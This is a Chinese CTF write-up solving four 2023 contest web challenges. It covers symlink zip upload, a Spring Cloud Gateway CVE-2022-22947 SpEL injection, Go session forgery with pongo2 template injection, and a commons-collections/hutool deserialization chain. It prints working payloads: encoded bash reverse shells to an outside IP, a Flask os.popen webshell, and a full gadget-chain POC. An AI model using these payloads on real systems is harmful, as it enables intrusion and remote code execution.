2023国赛Web题目复现
unzip
软连接的文件上传
随意上传一个文件跳转到
1 2 3 4 5 6 7 8 9 10
| <?php error_reporting(0); highlight_file(__FILE__);
$finfo = finfo_open(FILEINFO_MIME_TYPE); if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){ exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]); };
//only this!
|
给文件解压并放到/tmp目录下,????这我利用个鸡毛啊,后面了解到unzip跟软连接相关
首先单独创建一个文件夹flaa
1 2 3
| ln -s /var/www/html link
zip --symlinks link.zip link
|
然后删除flaa(防止与文件夹重名)这个文件,创建一个名为flaa的文件夹,然后在这个文件夹下写入带马的Php文件(因为之前我们软连接的文件叫做link,所以我们要让这个压缩在这个文件夹下面):
写一句话木马的时候记得加的@防止报错,要不执行不了
BackendService
此题是CVE-2022-22947的漏洞,改了些配置
添加用户,使用添加的用户登录
在配置列表那里新添加一个列表
查看需要添加的信息
查找bootstrap.yml文件发现了backendservice的DataID值:backcfg
下一步就该在nacos配置中心里面新建一个这样的配置让后台服务调用,且必须是json格式的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| { "spring": { "cloud": { "gateway": { "routes": [ { "id": "exam", "order": 0, "uri": "lb://service-provider", "predicates": [ "Path=/echo/**" ], "filters": [ { "name": "AddResponseHeader", "args": { "name": "result", "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"bash -c {echo,YmFzaCAtaSAmPiAvZGV2L3RjcC8xMDEuMzQuODAuMTUyLzk5OTkgMDwmMQ==}|{base64,-d}|{bash,-i}\").getInputStream())).replaceAll('\\n','').replaceAll('\\r','')}" } } ] } ] } } } }
|
反弹shell就好
go_session
本地启环境伪造session
修改index部分为,记得在前面导入一下fmt包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| func Index(c *gin.Context) { session, err := store.Get(c.Request, "session-name") if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name"] != "admin" { session.Values["name"] = "admin" err = session.Save(c.Request, c.Writer) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } } message := fmt.Sprintf("Hello, %s", session.Values["name"]) c.String(200, message) }
|
然后go run main.go
获取session
1
| MTcxNDAzNDU4MHxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXwqZQ6bpoG5J5D2uO4Vz2o2P2Rk6AfTYkMoha7QTKovJg==
|
flask源码可以通过让flask报错获取:flask源码可以通过让flask报错获取:本题正确思路如下:
- 由于session默认key为空,伪造admin用户后可以调用Admin路由
- Admin路由中存在pongo2模板注入漏洞,pongo2模板语法可以参考Django模板语法
- 通过Django模板注入覆盖/app/server.py文件,由于python服务是可以“热部署”的,因此覆盖恶意文件后,再通过Flask路由调用即可RCE
再说一下错误思路:
- 错误思路是利用pongo2模板语法读取算PIN所需的文件,计算出PIN后通过Flask路由请求/console实现RCE,但是想在/console中执行命令仅通过GET传参是无法完成验证的,并且后续执行代码请求都需要携带Cookie验证,所以这条路走不通
伪造session后,接着构造请求包覆盖/app/server.py:
- 注意name值需要url编码
- c.HandlerName的值为
main/route.Admin
,接着用first过滤器获取到的就是m
字符,用last过滤器获取到的就是n
字符
- 注意GET请求也是可以使用表单上传文件的
1 2
| /admin?name={%set form=c.Query(c.HandlerName|first)%}{%set path=c.Query(c.HandlerName|last)%}{%set file=c.FormFile(form)%}{{c.SaveUploadedFile(file,path)}}&m=file&n=/app/server.py
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| GET /admin?name=%7B%25set%20form%3Dc.Query(c.HandlerName%7Cfirst)%25%7D%7B%25set%20path%3Dc.Query(c.HandlerName%7Clast)%25%7D%7B%25set%20file%3Dc.FormFile(form)%25%7D%7B%7Bc.SaveUploadedFile(file%2Cpath)%7D%7D&m=file&n=/app/server.py HTTP/1.1 Host: 3323141b-0b61-4725-a130-fe60254bad5c.challenge.ctf.show User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Content-Length: 562 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqwT9VdDXSgZPm0yn Cookie: session-name=MTcxNDAzNDU4MHxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXwqZQ6bpoG5J5D2uO4Vz2o2P2Rk6AfTYkMoha7QTKovJg== Connection: close
------WebKitFormBoundaryqwT9VdDXSgZPm0yn Content-Disposition: form-data; name="file"; filename="server.py" Content-Type: image/jpeg
from flask import Flask, request import os app = Flask(__name__)
@app.route('/') def index(): name = request.args['name'] res = os.popen(name).read() return res + " no ssti"
if __name__ == "__main__": app.run(host="127.0.0.1", port=5000, debug=True)
------WebKitFormBoundaryqwT9VdDXSgZPm0yn Content-Disposition: form-data; name="submit"
提交 ------WebKitFormBoundaryqwT9VdDXSgZPm0yn--
|
deserbug
题目提示:
1 . cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept
2. jdk8u202
pom.xml
依赖是commons-collections3.2.2
Testapp
本地开启了8888端口,接收bugstr数据进行反序列化
根据一栏的话会想到cc反序列化,但题目中给到的是cc3.2.2版本,cc自3.2.1后添加的checkUnsafeSerialization功能进行反序列化内容进行检测,而cc链长用到的InvokeTransformer就列入了黑名单中,步过题目给出了另一个类Myexpect
Myexpect
其中getAnyexcept定义了newInstance(),能够实例化一个单参数类
结合newInstance可以联想到TrAXFilter,借此实现Templates动态加载恶意字节码
getAnyexcept
结合提示我们最后需要调用getAnyexcept前面说了联想到cc3的TrAXFilter,借用Templates动态加载恶意字节码,至于this.targetclass等参数的值如何控制,我们可以在序列化时用setter来设置
顺着提示向上找cn.hutool.json.JSONObject.put
找到了,这里需要向上找哪里调用了JSONobject,
可以看到JsonObject有MapWrapper继承,而MapWrapper有Map接口
往上找的话可借鉴cc6前半段
1 2 3 4 5 6 7 8 9
| /* Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() */
|
根据给定的键 key 从映射中获取对应的值。如果映射中已经包含了该键,则直接返回对应的值;如果映射中不包含该键,则通过 factory 对象的 transform 方法生成对应的值,并将键值对添加到映射中,然后返回该值
只要令传入的map为JSONObject即可触发JSONObject#put
而value的值也是我们通过ConstantTransformer可控的,想来这个存入的map的value如果是个对象,必然会获取对象的相关属性信息,相关属性信息何来?大抵是要调getter来拿的(这是从设计角度的简单推理)
所以我们让value为恶意Myexpect对象在逻辑上是合理的
整体就是
- CC6前段(
HashSet
、HashMap
、TiedMapEntry
、LazyMap
)
- 中段
JSONObject
+ Myexpect
- CC3后段(
TrAXFilter
、TemplatesImpl)
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| package org.example;
import cn.hutool.json.JSONObject; import com.app.Myexpect; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.ClassPool; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates; import java.util.Base64; import java.util.HashMap; import java.util.Map;
import static cn.hutool.core.bean.BeanUtil.setFieldValue; import static cn.hutool.core.util.SerializeUtil.serialize;
import static com.sun.xml.internal.messaging.saaj.packaging.mime.util.ASCIIUtility.getBytes;
public class POC { public static void main(String[] args) throws Exception { byte[] bytes = ClassPool.getDefault().get(evil.class.getName()).toBytecode(); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Q1ngchuan"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
Myexpect myexpect = new Myexpect(); myexpect.setTargetclass(TrAXFilter.class); myexpect.setTypeparam(new Class[]{Templates.class}); myexpect.setTypearg(new Object[]{templates});
JSONObject jsonObject = new JSONObject();
ConstantTransformer transformer = new ConstantTransformer(1); Map outerMap = LazyMap.decorate(jsonObject,transformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap , "Q1ngchuan");
HashMap hashMap = new HashMap(); hashMap.put(tiedMapEntry, "1");
jsonObject.remove("Q1ngchuan"); setFieldValue(transformer,"iConstant",myexpect);
byte[] serialize = serialize(hashMap); System.out.println(Base64.getEncoder().encodeToString(serialize)); //unserialize(serialize); } }
|
evil.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class evil extends AbstractTranslet { public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} static { try { Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMzQuODAuMTUyLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}"); } catch (IOException e) { throw new RuntimeException(e); } } }
|
发送反弹shell即可
参考孟哥https://blog.csdn.net/weixin_54902210/article/details/130956079
https://blog.csdn.net/uuzeray/article/details/136748656